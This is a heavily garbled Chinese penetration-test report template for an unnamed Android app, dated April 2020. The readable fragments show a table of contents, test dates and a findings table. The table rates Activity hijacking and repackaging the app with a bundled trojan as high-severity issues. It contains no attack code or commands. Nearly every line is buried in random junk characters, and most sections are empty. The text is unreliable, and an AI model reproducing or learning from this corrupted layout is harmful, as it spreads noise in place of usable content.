3 j: ]8 m* h) ^4 |6 C
3 Q$ s9 f2 t$ p9 u1 ^ l* N2 f$ | F8 \+ B
3 L' m) B3 ^# i) J" J# G
; k) g+ h+ U* u2 R. k" q; V ~4 i2 j' Y g, ]
' D, u& p7 X4 H8 e. A
5 J) n, W! I; T! r4 C' E8 X
( M& g+ M/ p8 `4 n! u
D L2 P6 d8 U) u - D# h9 o4 t5 U/ Y: i% X; W' ^
1 s# ^7 ] x. T: ]& K; d
文档编号:
5 h7 u3 T4 f, |# C& M. @8 @7 A' U
; f1 E7 Q( X) T+ Z2 W. f
% R6 \+ E/ V) G2 C' ]! v f . L* g, ]: S7 B- n1 B
. e$ Z- H+ E: `3 W) S- Y5 Z
/ g& V0 d1 j4 I8 f1 y4 L' b6 t. y- v# H3 }; b% D
2 `9 C2 Q" D5 W. W, h5 j4 A' f6 O. Y& n- w& \- f) y9 \
! L* N, T( p$ R& E; F/ H: j
0 I8 a5 Q7 c# l' l: W' }( n# `# } : j% g7 N5 o6 g4 X
( p2 p* K% T5 O+ C
1 H3 }: F7 R5 L% C7 w
0 c/ V% Q, z$ Z/ o5 m; b( t% G
& i0 w8 E6 \( E! c2 D2 t. r, I V
, O) q: L( B5 S9 H1 }
; O9 b7 I U& Z
% W, U i" U$ \5 |% p% z. W( |1 o. j
8 u8 ^# L2 M F. c2 v' n$ u$ W
7 @8 |9 R& L0 w% F/ V- u
* G% \ ?# u# i8 r9 h' \* y4 o2 V3 x' v" G( C0 I& H3 }! A4 z3 W
+ N7 s1 ]4 r/ Z7 i5 O5 K7 B
) B) z3 ~5 i3 \" l* s8 M
" C1 T- [4 ~" E$ Y4 N5 F# c
& S" q# ?8 `& D9 @
) m0 [% S, Q# t) j
2 k' X, v, t" _, d
! a# t2 B% V7 p- g% O! X& d# T0 S% Q s8 O- @
7 c' c( y- | s5 }# v4 [8 B
( o6 ?' G/ `' H
" |6 x6 g: r* I% P; U& L( B W2 N
[& H/ X# ]3 v/ a! V4 n 某某某APP渗透测试 & _5 b: T& |6 I6 Z" Y& g
/ w( t$ G# R# j8 j
0 n d2 r5 Y" p, U7 W9 h
0 X2 K6 V/ V8 M 1 o/ }; \% A" _, r# A4 Z' Q$ V
8 a+ W4 [0 s( U
0 r7 N& x' d+ G- F) l; X* w% O1 Y2 {
& q' k7 j2 A' \
+ @/ o- P! h$ P( W
, J3 N; K9 U4 R1 v5 v7 a
; _) S" {$ E" @) k/ R$ ]
& z; ?5 [3 w" [, x- k
7 T5 Y( }* N0 y8 [
6 ]8 e# L! M; X9 W- r' f D. T( x4 h2 v6 U: u# {, ~$ o5 e& Z
( q+ s& j- T8 L$ h. E! q% S4 q3 p8 V( B. P# `
9 f+ ]5 \ Z3 D4 D& G7 l; ?$ m6 N( C% w3 Q
, B- @ z8 E/ U6 | t6 g1 B. r( t
5 F- E0 F* z: x3 i C1 ~+ ]
v2 D/ C7 @# s- i5 C- a$ W5 R9 E. Z/ N7 J3 C
- y0 T' s) d4 Y ~
2 J6 R3 k4 M- [0 z% X
5 X/ e; A% c( U6 w9 L3 L
! e5 c+ t( N5 R. j9 ]; [# v # y; L% h6 K$ q k! V
% w W) i$ d% A; K* E 技 术 报 告 % H8 F/ P2 g2 P6 q# b6 e
( w& }6 H0 i6 o1 q1 c m
7 Q* T% N. l5 Q/ K- }8 e
* A; e, X9 R; E, g
4 {! F) p/ {7 [' ]
$ f' C" b$ P* s4 A
' ?3 Z& G9 F, a3 s3 j$ b4 { T0 L% G0 M* v9 Y" S* Z: o
- d- q+ t6 V2 G1 R: N3 C( a+ f
7 q3 Q( o: M4 g1 F
( `- W1 [" Y% s' u" h o
- C/ Y5 @: S2 A+ U @9 t& g: B
7 n$ W9 _6 J5 F' U# i7 q
7 D* M& E" p9 Z7 y
2 \; B' s& y6 L
$ }0 Z* v' ^ L) M5 c2 l & w2 \6 Y7 k6 K7 P7 p; C! a) |& D
5 P5 ^+ h) [) I8 L* v3 X
8 a9 ? l" H; f1 W C
7 ^" l& z1 d G8 s& K5 W* h
/ }; V b' v5 ~4 I* R# b
8 L0 ]& \! m4 q$ R1 G0 A - l/ i; R( E+ `$ o1 O
m+ i6 P0 ?! ~; |) w$ X# {
3 ?! R" p9 l# B' M4 J7 K- P
" u, }! X+ S: |
: p8 W$ z" o7 Z7 g$ P6 T6 r2 |
6 |( }5 q8 C$ l4 w+ b) i
9 D, s8 B- L B9 N- @
6 e7 \" g& t7 z
& H: n: B# f( ?! @1 r# w/ u8 Z- p5 D( a [" y' Y
) U9 L. n) W) B) N
+ @& F* ], k- v4 n. M& R 5 y" X) j9 `' B1 N1 L
6 v6 V1 e" J4 ^, r1 U! q. i
5 @( c S. w% Q/ k+ q! n4 v
4 y+ }# k8 M' e2 C
4 u4 x- P0 s7 f
2 R, R/ r5 c" N( [2 M/ c * r `) v* _9 s
; m" x$ p' [- v# U2 K7 U# L
. e9 L' v) g. j, ?" z
! X# W. _* j: {2 j
6 e# ?: Q# _8 }- L( [
1 o* R4 e' w" a- j y4 }9 f# _
7 w* r! J w, ^: }
; g& x( z# `7 ]. H, e7 E0 N
+ u1 q5 {2 c& F# J
+ r# |( q- E* }) E9 `* [" A7 k
! l$ b# [/ E e7 d- \% b% }2 X
' k+ X( q) ]& s. ~. c
K) i1 M. i, r4 x7 T
7 @- k# a; H8 M# t, ?" y9 }. w . Y9 X9 h6 M9 M
J! t8 A" m' X( z. E7 s1 A
' @( @# \* |$ [6 ~0 v4 K6 t4 F: L- Z( L4 A* t: z0 }
% N# j. m8 K5 _& R: ^) b( `+ R
i7 h$ V5 J8 J5 f9 J' N( W 4 s: i3 c C5 o$ c
0 ?4 @8 P5 r' Q
& b5 _6 S4 I% {9 ~% [4 N
' d) k+ R* J" d! X2 b# ?
4 s- [- i0 i. i; q6 a/ s. K$ s4 S5 p3 @; T
4 f) s* v) \* G L7 O) p0 b1 f) t
% j( q/ G3 D" k) u Q" r
, L1 W# R3 _0 ~
$ H& t [4 G4 u+ y5 P- y; I: T 3 x! d0 E, @. o- _ m
q+ R. j. A# j! E' r; k- I
- T/ R" q: |/ Y+ G
+ R: j% q5 b5 ^, v/ m9 a
6 U# p) B" p1 \, a0 M
6 v/ O3 `3 H6 g. l; @+ p
2 P* |7 s. K3 s/ j
/ \- i; k4 h0 c+ A6 ]& y0 s
+ A$ J! b) ?" P2 ?/ c
/ F) W4 t; G9 f* v6 _
: X$ M' R. N3 | I" A+ b" ]7 w$ d( z n; r( t1 G) @! ^5 {
1 V' {; Y+ c2 E- I. d# l4 D7 J
! c; ]) \* c6 E5 l+ U; R 1 u; i) V& B" O6 _( p9 h/ ~
1 _) J! R. F- V4 b
) s8 s. \' r( D
9 j2 z- d7 {9 B4 h
3 b; x4 y$ D1 j* E1 y5 u& v% _3 S5 i
7 @& S @ r( F( X
: V2 [9 B- R+ O7 |7 s; B) F' \) K, [- {' t Z
! i* x- i' V O$ \1 a8 J. `' I! \3 E) {+ \0 I
# U9 y$ o/ b# P ? E6 Y6 R, |: w5 \* z6 P& S
& k- E1 {2 ]2 F. t1 H: G, f" I- v& d7 A* T4 M
: r3 w$ L. T( j/ O: P3 \5 t) ?7 A1 k' ]& A7 n. R
+ z5 I2 A1 [% d8 z
, e4 g' }. c" |' c
1 X" _4 F. B/ }! k O$ k
L) E1 ~: E* g" Y6 L
& f" e5 s6 _9 z; R
' }* x4 o" Y' ^% p' x4 [" P
; K7 W. x8 ?5 Z, a! e1 Q& e
5 T* G8 \4 |2 q; V& l! m ; E# r; ], E1 l) O' R) X% { f
+ i1 M4 k* G3 [( a- l1 K
5 q5 {: L& a F R2 ~9 }/ ~6 r2 h
* R: I. F. A! k% D1 f0 R ~! d# ?' ` " c3 V) W5 q( B* `
; c) V$ A5 o! D6 E 二〇二〇年 $ g; V/ C. L8 [" y; T0 T6 y
9 a: I% y; [: Z- H
- `; X. }. O! q, h' r. q" E1 {
. `$ z8 ]( r, f( c* O" ] p# x: T1 w- l
& v) t. E* o3 `# T' g
4 L( D& j! l5 M7 {# w' {3 K) N) Q3 n5 }# q4 H# Z. o
6 }' w6 O0 }3 k' V& P/ V
# C) F0 i, l7 S ; F7 Y9 W7 a" M# W: h5 L+ D1 ^" @
4 `5 P2 J# m' z6 h9 T. F8 l
2 U8 [* a' e0 Q( W( E
1 N5 l* s: h/ _* R
# q( ~9 o0 Y! w; W' U3 o# n Q |& [' _2 K% U& \% P2 q) g* ^8 b
- R W4 n, b v1 N2 b5 M
8 i* K* c2 s% ]! q2 P 0 {7 U" D- @! j5 k) e2 f u- |# n, ]% T/ v
1 g5 O# [% ?2 R8 e( Z
4 c+ Q# [ \. E5 Z! x, A2 D; G* r2 x: O7 d! P
目 录
+ }$ `" c6 X5 y, q' q5 x1 k3 p/ f/ A8 X5 c( X8 M
; r5 |) ~# q) U! I8 [
' l. U( U6 I# v9 s' w, \
& ]: o5 [, a( F, E$ N8 J4 G% u. |1 b5 ^; ? w7 r5 w' `; [
: t- Q- M& K$ o0 S
( r3 E: n8 r5 y4 j/ L
8 T1 F# w2 v ]0 e
% ^- X- [" y* b+ u( \/ z
" d- f, Y& Y! P* s" C1 y
) x: v3 [3 O3 R/ O
) o, V" W7 Z: G& y% M
! _4 o7 l2 O0 R0 O. O1 }$ X1 z9 @ 1 概述... 3 $ T+ @- K+ E. {
2 G0 _% l- m1 L# S: s- R
+ U0 C( m9 `9 e2 N- ^- e, K s. Z. o8 J% L
* U$ V0 J, ~' t, ]7 F2 Z! {- F$ A" g; a* m2 e
1.2测试时间... 3 # _1 X% |- v V! z2 `) O
( B1 ]5 _) J0 v) F6 t
% b ]) p4 V: I+ A( ]) f' q# O7 j* f: ~8 T: V, _( i" y5 J% ^
1 \+ W# Y; z4 G+ x6 q" H' f7 b
; L# N' ^+ N! T* t 1.3测试对象... 3 1 \6 f: `/ {; T) D
% q2 o. O. B; H& ~8 w* j: j
- ]- L6 C8 u. `0 Z0 } D* K t; Z$ M- V9 n+ [8 M
0 S: u& d h* y1 i9 _
$ E; B; u! {$ g* [, v 1.4测试结果... 3
! r) M& Y' B l5 U y. b1 Z* k& ?; A1 g) \' c7 u4 \6 m, v
- U0 [1 V- ]8 X# @, O) K
1 t1 }0 J! _# z
" t. \6 k/ |3 q7 v D: W- z
7 T( U, |+ w& F3 D" h; ]) B1 N 2 检测结果... 4 . W! k! u) H- C& }" y
0 X8 ^ h6 T: K9 l, \& l; ~" e& ~! o
! ?0 i" }* M( `! k# a% R
+ R) b& }, E5 z5 e; }
6 P8 O0 X7 d5 z, V7 P, }
& e. ^0 P" q3 S7 B 2.1 某某某... 4 / @, P* _! N i6 t2 {( p
4 K& k! \' ^0 `* M- L+ h! j& a5 k
! A3 S7 q8 a1 [1 s W
+ {" v4 j/ P1 K# @2 L. W+ x
( `+ l* H9 T) g1 v" k8 k* u9 }2 r" I2 {; ~& H; R
2.1.1检测目标... 4
9 [) I2 x |) q& p- a; ?- k/ M$ z7 t4 i
" d4 t) y9 \5 j. m( G3 t
8 k( q5 g: D' V9 ^7 R" M- q* w . o7 H" m9 e. S B, q& h
! z- V" m; N6 {8 ^( L6 Z4 s 2.1.2检测结果... 4
4 a6 Z, t {: Q0 D- C, c8 j5 x/ P! n; H0 S1 L) k. {- h# N
2 B. r7 {+ w6 J: s- ~& T+ P
* m5 p( _7 D+ T+ U/ r
6 q% d9 U0 f8 S; t7 P( d* A* [7 }$ [2 I$ I) s. V- m8 u
2.1.2.1. 4
% S9 I$ v. q& x3 H" Z4 I
/ ^% E3 B% T$ r- Z9 _1 h
0 b9 h- _4 [ ~6 m) K! A( w$ Z. [
0 V( v1 g p* Q5 Q" Y4 I
- b* ?* u: A7 V% M* Z5 s' D! a8 T! R- b+ l! t }9 h0 q) ~
2.1.2.2. 6
1 x8 T- o3 @5 K$ d1 C, g9 b! C
8 X) M: D( Y2 r( Q
; j9 n+ }% W$ h$ y( q2 s! K8 n
# H& u! Z1 x8 Y& c7 ]
$ x6 O M8 d" N' I Q/ a W/ z
5 Z+ q' k y# M
" j' N2 U" Y2 s% b7 f% L( g5 M# }
8 o# s+ K. J6 N4 N1 Y* R4 P
; ?- W; a2 V2 Z& |- P# u% b. ?3 k- Z- Y8 }$ B
0 r4 [+ Z3 h% q# g: I/ _
, [! y- F0 F, z5 @
8 J3 n( U! _& \5 U) f. o! O$ j
1 `9 ~7 K" h& X- q9 g$ p# P6 ]3 }% @2 y! A; ?# x! o
1 N& v; D4 _8 K! ^
5 [, q s9 x- T" ?" Q; d3 ^ ) W5 s6 ]+ R+ I$ ]( x
1 p2 e# w3 W5 p 1 概述 7 p* U9 \& | S% T! p- M( W x
" j/ |! w; q! u4 ]
$ n4 N5 `. V# b7 a/ U! l1 L" F% H% h" z" Y+ X
0 I' r9 _" z& m+ _: n( _& T ?/ i
+ U2 k$ f" n: @, A% D3 \* S$ A6 o 1.2测试时间 " o( d& I( P8 z6 I h# d
3 r# ~+ y e2 j: ~& Y' ]3 R9 U
d' b* ~7 p& k; x* s+ P. D
, M7 ~% I2 w' `. v& A2 B
7 u6 X- a0 E D$ y; L( o
( }3 k8 X1 F( @
/ `; r& R6 z2 Y2 Y& L) o/ }( B* t9 E+ D# @3 D
! l' o, O* l! L2 R
# a7 \/ J# ?9 _4 Q& @
M) B1 m M) A2 K
9 Z# z1 E* ~8 }% o - H& [. L9 b. o5 P$ k, A2 Y
/ ], e2 c$ {- M6 V" ] 渗透测试时间
0 s. M7 }% N* M6 x' \6 q5 y! |1 Y* h* r' t% C
( ^" [; {" W4 ?9 G$ r: S
; ?1 ~. p5 L3 q! k( d* d0 P | 0 C) x+ G b) Z" n! D* H
. R2 E- P+ F( C, n
) S+ j- V7 A8 m2 @! B
# @# s k: g5 z9 a9 m$ _, X% T2 Q
$ O( _ S7 T% i0 D3 d: }( G
; P3 x. S% G3 Z8 J
7 m$ ]1 f4 F, b% I
) }0 ?* D6 C4 Z
/ ]9 Q' J6 a, ]& ]* g; C0 u4 h& q7 K" `- N
起始时间
0 N* ]) z X# ~" [2 x1 l' x/ c/ i7 ~1 v" b3 b# h! {! J3 s! R
. P9 q. h; W* l [* Y
% k5 k$ A8 {+ j/ d* d
| 1 T* q; {% M/ B# y: S. y
% ^0 Y# d" E0 N4 J' g: S% e* R) j
/ X" V9 }6 L2 w, `; t1 `% W5 Q& N, m; V
/ E& G5 [% _/ {0 y9 w8 A
4 w2 V5 a/ E5 L3 B1 c
* L! C7 S4 M1 _9 l. | 2020年4月6日
) Q" u* u! i P1 t" V `
$ U8 O, `: X6 X: L + f- k2 A8 V* s+ U% p# c$ {
5 }- R/ ]. V; {3 H6 w+ _' D
| ) m p, b1 A+ h4 j8 ~ c
* `& T/ \ A3 b
" |% h- [/ }; Y2 [$ z
3 i# \, [& X% x1 Y! S7 O2 N
7 G9 q" O1 i4 { J: U, m- y6 g7 `0 X$ Z6 C9 p
, X w2 w( z3 r6 C+ s+ _) f
) w& f: J4 r" a
6 P) Q0 _' p0 g0 ?9 L' z; d4 }' h; N5 C5 c2 h& `
结束时间
# C9 u( u+ F7 }/ S- F
; Y6 P* i5 C3 k1 P; |
; g9 n; j2 R7 [" t* s: b. w1 y# F5 ?$ ]% i3 }$ D8 S' D0 ^5 D
|
! z0 V i/ ~8 Z8 d6 P' d
/ W, b* P* I! J5 X2 W2 N; K# q, W
: u2 F0 T- x1 g
$ y5 r. ], l, x& j: S$ s" t" q 7 V+ }$ Y+ u) u- ~( d5 V
6 a% k% ^+ r. @ I0 v( M4 m 2020年4月9日 5 f$ V* B0 |0 m5 L1 Z( C+ s$ ]3 E
# o ^( S: ^7 v( M9 k , J. H# m0 ^9 t: F+ a
2 x) {5 R" \: Z! N% x- _0 r7 F `( \ | 6 k7 Z) Q5 o0 v' E
/ b5 f# l4 [! m8 H5 b c' F
5 V' P; A2 F. }; I. G* I+ ^& V
( l" w* R4 |5 ]3 N/ u$ G7 G % E+ i/ X, E" S& K
5 v/ q0 n' @) t9 Y. S! c8 ?1 S! O) ~
t5 ]$ F9 Y$ L& V/ Q1 Y1 L& T x3 ?- X
4 y. `+ `! e5 ~& `8 Y" h0 Z$ u* N# b
5 @: d: _) }+ w3 ^2 q
1.3测试对象 4 f' {/ J) Y6 K: M c# \8 i5 w
' Y `2 b9 o2 q+ N7 f/ V
5 C$ {2 P: K! S, F7 |8 U
' M8 S; a& C( I - G- N! R1 y- q- S6 @
0 t) b, z' N* K/ }
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
7 h9 ~4 a% ~4 ]+ T8 k5 e) `- [3 Y; {9 h# I. H1 t5 p; [
+ I: l% r; w) X; F# N# D- B5 y3 k8 _& g1 m# j# [
8 ~3 S! Y; `# L( \* g2 Z- f
5 @: j, [" U2 B# T x
表1-1 检测对象
5 ~1 K% X( E" A6 D: w4 p& ?
' ?/ @5 _! X1 r: n' q: F
: S2 ~2 o7 a5 W5 o' |8 e6 s: b3 k, t$ n
/ F* t* s; b7 _/ ?; I+ a2 B* |; o
' H5 R( n0 b/ |. A4 z0 [
- p. B4 d2 W' _* s5 g- K
" w$ B4 L& Z( z0 Q7 t! u2 P* k2 N% w& |4 X1 C" ~" M
" J2 ]: A1 A5 a+ }% _6 E
8 g. q( i W% F* A 7 `" G% Z) Y- t; N5 K" l! r
6 I$ L0 S8 K* }6 W' e
( O1 D; a4 r, [" H B, U( Z) V6 e! X( A' S
序号 : U. |) M! S3 W& p9 X* {
3 p) ^; x z; {5 h; D6 |
- [7 _* [! ^$ M/ n( M3 K, _
6 Q" Q4 ^1 w( Y# m7 j$ y! n4 A' h \ |
& m" K$ `" P( h$ K% @/ m! Z# @ e% s, @/ q% \& H7 g |
; }$ v0 I- X5 [4 t! J. c. ~$ Z% X. N9 v
! @. i( [1 m: x7 F9 G/ ]1 \9 H5 {2 x6 D* J
测试对象
& `# ]/ \9 h! z) J2 d; S5 L P5 k8 q+ \
3 {4 f" a( Z- P% i! F6 M- p3 w
$ Q+ C6 E$ H5 g
| 5 ~" t/ G7 s: P2 K( T5 ?0 @0 H
- a$ `7 H4 Q8 l, W, r4 W6 W* w
+ [) E# y: A' ^) O
% }2 P0 o# a% R
0 E' K% n; d9 E2 v" p& ~/ K+ z" E# i
6 G9 Y1 `" [2 L9 R; b 测试地址 4 X2 J \' S0 w* f1 }
' R! d+ H9 A: j* `2 T + k# ~ _3 b1 ?9 u3 p8 ]5 t
8 D- V' R! p7 P% n) |, Y# H
| 9 e# l2 ?2 n; j3 i6 ?$ p- y( e
* N/ t8 A& ]( M) a. G d
6 `$ O) P$ z$ y0 a
2 t, `/ t( k& P* R; d5 v" n
7 n+ p) X8 t/ L% C8 {% R/ Z
7 V5 k5 C' Z- V$ C 安全漏洞
) V+ F7 S8 w2 J' H3 l
3 i; |; \# d B6 [+ F; ]/ I6 `
" O% o# Q8 X) B8 R
) K0 ^2 @) [' G4 D+ P' W |
4 e+ d+ J+ N' c) Z
* @& j* W! }) G& D8 d8 @
- Y* G6 L$ i: H7 w: |, B3 H! e) y
8 ^+ |; C) J. e& s7 g5 [
, o @- l& j4 Q. t3 F# l# M
* ?1 j: n+ I3 d( R . o5 H: r1 d+ i- L, e
T5 [2 Z. A6 Q6 ^/ A7 l
" H3 u0 i! Z/ Q: q- Z+ L: l( y" o1 [- ~4 L- V" X, I
1
+ G1 t+ K$ I; Q7 g0 Q( l
/ P4 s8 H9 _& R: S) s
K2 q( C& `- ^/ V# s, R3 T1 |/ A8 Q" v. d# u" K" I
|
1 ^. F; \' m9 \2 K& o* A
P) }* y! n7 z % Y! [! s: Q8 e* \1 t, x3 E0 b/ F
/ f+ H+ Z e2 ^6 ^6 A- @ ( U) s9 i+ \; A9 }/ C) H- _
, n [% v, q/ g& R) A% ^% [4 r 某某某安卓APP - g" @8 M9 J2 L! U3 C) \4 g
0 T- H" m- y3 c. g' B7 | ! W& Y/ Z! U& v4 n
; }+ r0 l0 n% x; r8 A) ]7 b7 V | 2 e% l) P; o9 z ?2 n+ i O% ]' ~! z
# A x$ ]% e1 ?8 y' Q. O2 m
; q: j# o& U$ s5 o5 I, ~
/ ~! G* C5 z( {7 x/ S6 N
$ ]. S- ? K7 {& u; ^6 I( s2 J3 i: H+ ~! d% b @
) S p* f( b: G1 f3 b& {; ~" ~ U; y! Y( |6 Y+ \( r( B6 U. X$ @* f9 E
1 b7 [+ w, w3 g2 h T, N, W
; x) N, W- ]1 w2 D1 E! B | - O" t: M, g( I% V0 q* d; G, j
3 v/ E- e z' d$ r* d# u+ F
V9 q, F2 n% c4 L% A& ]* O) S/ }0 e! y$ Y* t L+ A
9 ^" l' G+ p, B) H6 }- E! r( [$ r% w. i4 G5 d* r* x) A1 o" s
2 ; ~, L6 p9 `5 l5 z4 o9 h8 G
3 e9 t& W) [' ]
- q0 a7 q3 w* c( j* p
$ s: f3 y* n) _" N' x; t! s | j5 h5 k- s' z P6 v! b2 D
) e( t- p- y( e0 @1 Z! G0 u
) n: L, k9 ~. m' q- y& L9 ]8 D! f" J( x0 `* b/ Y, g& \! W8 x
& }: `5 A2 g2 u4 c# [$ L7 ?: y0 ^$ j6 N4 E
8 H8 E! d4 m0 @6 L# B
8 Q2 L4 Z- c+ Y8 @; i7 k T 0 }" C3 j5 J5 ^' h
; {/ i4 O$ v( X2 v
1.4测试结果 ! i1 p6 g, t- I) q! |0 F+ f
" ^! V) \, c5 ~
8 B% k7 ?$ ^5 {' s( i0 U3 k# n4 }1 Y6 c# l' n, o- @* F+ u
8 [) |0 \8 p) e3 w& O
% R2 e, q+ V) c: J6 G
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: - S) d; d4 q3 N7 S: ^
; J1 N# t9 C* l; E7 I* K
4 P, o+ U0 ?6 i8 a7 Y) K
F' v) _ M3 d$ u
9 @ |0 K- g' E5 V; A* W5 q8 E
$ M/ L+ Y4 O# i8 H! y7 C
2 F6 T3 F" B( H3 n3 `& @
/ q2 t7 c; G5 ]# b; N" S
* T/ e# u# p& ?8 p8 m3 r5 S) Q G$ u0 e: y5 k4 u0 c9 I
# W/ w1 z+ G# v$ f+ e* P% W% }- C
* M& h! E4 l8 n) | S
% p, W- K: u9 A" H1 l2 c. }2 y7 y
( H6 A1 ?1 p6 ^: B0 c* C5 \6 q
6 j; ~ H) r' X8 Y- z; m7 T
" l, p' k& G! \8 O% C/ W' V5 R) T( b" e! I n3 C; K
( d2 \5 r+ c" b6 b& E8 E
! i6 U4 d7 ~& F; T ( }9 `! [' ~0 Y. z, d) m+ z7 M6 r# @
2 V6 K [& c% \' i: I2 u
序号
" ?5 y7 o3 g7 R8 p2 I1 O7 V. ]! |* C
. |- }5 q, L( m0 v' L7 p3 { ( g; e% I' |; b6 j3 J
4 D: H0 n$ z) K |
/ {8 ?7 u2 ^* z e/ D2 T Y
# U Z+ s l1 J0 a# H |/ U
+ x, N/ ?+ ^$ F& a
" Q# d$ q9 i# T: g ) N& H: J. |4 ?+ r- l" f9 ?
* X) f6 ?1 I6 c0 Q% T5 X 系统名称 2 `: S7 E$ m) O, c
* E# U# |. M9 {0 B
, L2 [- w. h. [! o! n# e
, U! A4 S0 E' H. P" n; @ |
! N8 m2 }" {, O" ^1 z) n9 a, H* s' T% w1 e+ e1 X
2 n0 H3 b7 ~9 d6 T0 m8 H; ]
) ^9 [% b' y; X9 [9 U6 B( ^
9 \3 D W5 o6 G- x- i4 g2 l E7 m8 V5 o
漏洞名称 # e3 p+ {, p/ \" t, n
: M6 ?9 C; {, q: Q0 i* f. |
4 l; d5 ]; J/ j7 V( @! \' k
9 w' J5 T! q. G5 N- j% Y) ]5 C
|
! e& l/ S; P# \6 l! ]$ v. l" N' V: `" R
1 a. Y) S/ ?0 H2 a6 I' f0 T Z! t' i U; ~% r
2 Z$ ^) {$ H& Q; ?6 u! f
+ N8 D) k N9 V$ ^! C. a 漏洞危害
# ]9 }8 t0 h0 X4 M# D! |
5 D. z( V& j3 j: m# w
4 d2 q& A* t% t5 v6 S
; K, P& F0 D9 X- s1 m! b | 9 w& L0 k, I! Q/ W
9 \$ ?. C* f8 h) U4 N5 Q6 S, p$ _
( P1 f7 [* \/ s1 n9 E; L+ ]# D1 N
( f8 l; T0 D3 T* U8 J9 G3 G. u6 p# w' s 2 P* }+ ]$ c( t- l# y% m8 T/ T) c
' Z, s7 |2 l# Q# j$ {7 j 修复结果 ) U. U$ i* L7 }. @% J2 E
6 G* g+ F# d; m* A0 d
2 O$ N# E* C; t) g0 r
! T0 a! b" v1 v; h$ o |
( T# H' p/ X/ N$ o- C
) x. H/ c* O% U% R
4 C/ X$ j, l. Q0 D$ K0 @$ T9 r6 p$ C
# C- P, A1 |; a+ f" B9 W
5 v- o; j Q z5 b. s
/ _) ]% O! O5 a( b. L% X
0 S T* r, x+ @' r5 A, E
5 G/ P& I+ }- y2 p4 [& Y' o8 O6 ~. V, k4 A+ }; Z! ]
1 2 @7 n( d( c$ a1 ?$ _
! D. k# z! R. M8 m, q
0 h6 p- B3 V. p* o8 ?- p7 V+ o
; j M, q! u3 c" h1 g, Y* t |
) M, u1 e% P0 _, O
. T7 `5 x" _ V7 s2 ^
c7 B# U9 U1 p1 {: Y$ j3 Y8 K0 p. j2 D1 S; P/ {, U6 r* \1 a
0 }3 _+ W( g- Z9 f- \5 O" Z' h
2 I' ^" i/ D6 @+ C* C8 l6 ?& {9 f 某某某某某某APP
% D+ C3 O3 l1 O9 ? k0 C5 @: T; M. J
7 j7 J) F- |& `5 b: ?& y: s" e
7 G* e! x- Q2 n: o
; X! q5 V8 @6 Y! u0 [3 b! S7 Q/ ~6 g |
- A5 d3 t: ]- ]( b' Q8 ?
: Y$ U0 ~1 z4 n1 O
2 ~3 `5 f6 c1 S& W! `$ E
& P( t, G3 }: a9 _# { ! ^$ v( l6 |) M p5 M
; [1 u) J9 q! k
Activity 劫持
; s( J6 O6 ~4 s) ?8 w0 Y3 @5 g4 ]8 V0 @2 n
; x8 {# L9 y1 p/ K6 o. t, L
$ J. P8 X0 Y4 Z/ O3 O
. E1 g# ~ B9 l, c7 A- u
, G0 z+ l1 K% N) L" O
) g7 Y- n# h6 s: A8 a8 |# L. P/ a4 \8 E
3 ]+ S+ J# b) E- H, Q
! X' K+ }6 b% Z | & Z0 a& c' I- l9 h
2 e. z! b3 ^( y Q& ]" P2 W: L # s' W5 S9 F( u0 J
4 F; K; v8 ~" \/ g
- E7 F' P+ ]& k7 @, E/ I. W C1 m }
高 6 G2 G2 Y2 R( e* A- ?) L& _4 s
' }5 {7 M/ B) W
1 w3 X9 Y& i# Q3 l& @1 ~( e# b I6 _2 a* \* y, {
|
- _8 U1 n- l4 w' \6 H5 ~4 Y4 O& H* |
: s' O" B- O' b# q0 t% Y2 j
5 R2 ^9 K, t) |7 o
+ N3 ?- C" c$ `+ s/ y: e2 ^
( t' {; n5 e* n: O/ A; x1 f
* e) N2 U5 d5 \/ R1 L6 @
( k4 ^ n4 ` ~$ z' A1 ~8 [6 x & F5 j7 s6 `2 w) e! }
' ~% U/ M5 u" @1 n+ w7 t0 z
|
& o" r( @/ [ U* F0 J; F- |) k& o0 ?2 ?5 |) |
7 T9 t- {$ q3 M. m
6 v# u7 S0 d& L$ i5 `: H( R
: [5 `% D! Q8 _+ [5 d5 m. T" j: \" K+ G/ ]8 T8 p8 e
' U4 }. x3 ~& Z* W( L# J+ V% G" d* U. z" o7 x" y- R j$ d7 K
% j6 I' X& X+ P1 J% x" D; w' c* M
9 W, r1 w C! {( P& |; G 2
' H; c- G, m6 G+ A8 q5 ]2 l! {( ] [! Y1 y, B( {- U- I4 ]( e/ C3 m' C
0 T3 C9 G7 j( M' `* f+ o
- M8 K8 ?9 D8 D' h
| T! h" h, i0 N; c A4 N
7 X: Z( B- ?' [# i+ d4 W
& Z+ g- N' `0 \( ~! |
; H5 W$ M [6 }9 F6 U* O
4 O" e8 m; z: h; P, K6 A3 C
# I8 m9 Z% {- D7 m1 _+ r1 C8 a 某某某某某某APP 2 J9 t$ L% j" C# _6 v
5 h6 L' u* B4 B0 d! V% M2 S2 C 6 o$ @4 h8 H( j
7 a/ H% d3 r# b) E9 x | " n Z8 \/ U1 p6 [9 ^7 m$ c
9 R+ ^. B( h5 U4 c* m7 v+ ?
' ^1 i: h# q' E
; Y5 B3 Y/ z9 J; h; @' s3 z! G! M
& E {5 C& I7 u \8 o J; d0 [$ m6 u8 a# Y
反编译二次打包捆绑木马、篡改APP代码
" T# ]' ]: G) R- i( m% s& F) [3 g% B: b/ T( {
9 N' T; u; A, m8 K" ]8 z8 H/ u( S, H M! D& |
|
! c7 Z2 h7 Y& C& @* Q* `! A
0 f3 t0 s% R6 b. y8 W1 K
0 i* O/ ]. S8 P0 A( ?% ?8 z% k9 p; k
# r' \( ^2 k- K5 x4 X \+ d
) g- \! F2 i3 }, \4 ?
高 * i/ H f9 A) v# w: T; s% k
2 F% l4 d% u8 n0 v% M- o$ z
: L' A D9 `1 G9 L, z# L
2 j$ H4 x% x- |6 R( H
|
5 _( @7 o9 q7 R$ o. I! X- L0 i( c7 [0 q7 e
0 y# U/ f% z0 N' F
3 W8 J4 n% R+ ^4 B( a$ a- f4 }2 [1 M& t; d# V% [$ q6 D# D
( q$ f# ~0 b/ J% @- F w; h% t" ~
5 ~2 W4 S% x* i
4 R- ~) i p6 r M) f) g S9 h
3 \* f9 p. H: n' V $ ^5 C8 _) K: u/ M7 M: Y
% \2 p2 A, L2 i9 C; i2 j1 P |
, S1 E8 n% M8 g! _% I# {3 E8 Y) m0 b+ }& d: W6 K* n, S
/ o0 C# O: m& d; Z. U" e
" T. \4 b: k$ b, e
- k# z1 v+ z/ O1 t8 K+ ~& ]
' z* x/ ~1 R6 \5 ~
